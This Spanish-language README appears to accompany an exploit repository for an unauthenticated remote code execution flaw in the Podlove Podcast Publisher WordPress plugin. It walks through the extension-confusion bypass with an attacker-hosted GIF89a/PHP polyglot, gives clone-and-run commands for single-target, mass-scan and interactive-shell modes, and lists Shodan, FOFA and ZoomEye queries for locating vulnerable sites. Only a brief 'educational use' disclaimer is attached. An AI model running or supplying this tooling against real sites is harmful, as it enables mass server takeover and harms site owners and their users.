
Exploit para CVE-2026-13001: RCE no autenticado en Podlove Podcast Publisher mediante confusión de extensiones. Incluye escaneo masivo, shell interactivo y payload poliglota PHP GIF89a.
CVSS 9.8 (Crítico) | Carga arbitraria de archivos no autenticada que conduce a ejecución remota de código
Vulnerabilidad crítica en el plugin Podlove Podcast Publisher de WordPress (versiones hasta 4.5.1 inclusive) que permite a atacantes no autenticados cargar archivos PHP arbitrarios en el servidor mediante la funcionalidad de caché de imágenes, lo que conduce a la ejecución remota de código (RCE).
La vulnerabilidad explota un desajuste entre dos funciones internas que analizan las extensiones de archivo de forma diferente:
| Función | Método | Entrada: payload.php?.gif | Resultado |
|---|
is_image() | basename() y luego pathinfo() | payload.php?.gif | .gif (pasa la validación) |
extract_file_extension() | parse_url() y luego pathinfo() | /payload.php | .php (guardado en disco) |
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-13001 |
| CVSS | 9.8 (Crítico) |
| CWE | CWE-20 (Validación de entrada incorrecta) |
| Plugin | Podlove Podcast Publisher |
| Afectadas | Versiones hasta 4.5.1 inclusive |
| Parcheada | 4.5.2 |
| Tipo | Carga arbitraria de archivos no autenticada que conduce a RCE |
| Investigador | Talal Nasraddeen (vía Wordfence) |
| Publicada | 14 de julio de 2026 |
La vulnerabilidad existe porque dos funciones del plugin Podlove analizan la misma URL pero extraen extensiones de archivo diferentes:
is_image() — Validación (en lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
La función comprueba:
exif_imagetype(): requiere un encabezado de imagen válido (GIF89a)wp_check_filetype_and_ext()Dado que basename() incluye la cadena de consulta, la extensión aparece como gif, que no está en la lista de denegados.
extract_file_extension() — Nombrado de archivos (en lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
El archivo se guarda en disco con la extensión .php.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
El archivo shell_polyglot.gif.php es un archivo políglota válido tanto como imagen GIF como PHP:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Importante: El políglota debe alojarse como un archivo estático (p. ej., Cloudflare R2, AWS S3, nginx sin PHP). Si el servidor de alojamiento procesa PHP, el código se ejecuta en el servidor de alojamiento en lugar de entregarse como contenido sin procesar al objetivo.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
La explotación exitosa produce ejecución remota de código como el usuario del servidor web:
wp-content/cache/podlove/podlove_image_cache_urlEsta vulnerabilidad es una evasión de la corrección de CVE-2025-10147 (Podlove <= 4.2.6).
| Aspecto | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Causa raíz | Sin validación de tipo de archivo en absoluto | Evasión de validación mediante confusión de extensiones |
| Técnica | Carga directa de archivos PHP | Políglota GIF89a + truco de cadena de consulta en la URL |
| Corrección aplicada | Se añadió is_image() con lista de denegados | Se corrigió la consistencia del análisis de extensiones |
Consulta analysis/CVE_COMPARISON.md para conocer la comparación detallada.
SOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Esta herramienta está destinada a investigadores de seguridad y probadores de penetración con autorización escrita explícita para probar sistemas objetivo. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el mal uso de esta herramienta.
ghostpel-sec — Investigación de seguridad y desarrollo de exploits
Este proyecto está licenciado bajo la Licencia de Investigación de Seguridad ghostpel-sec.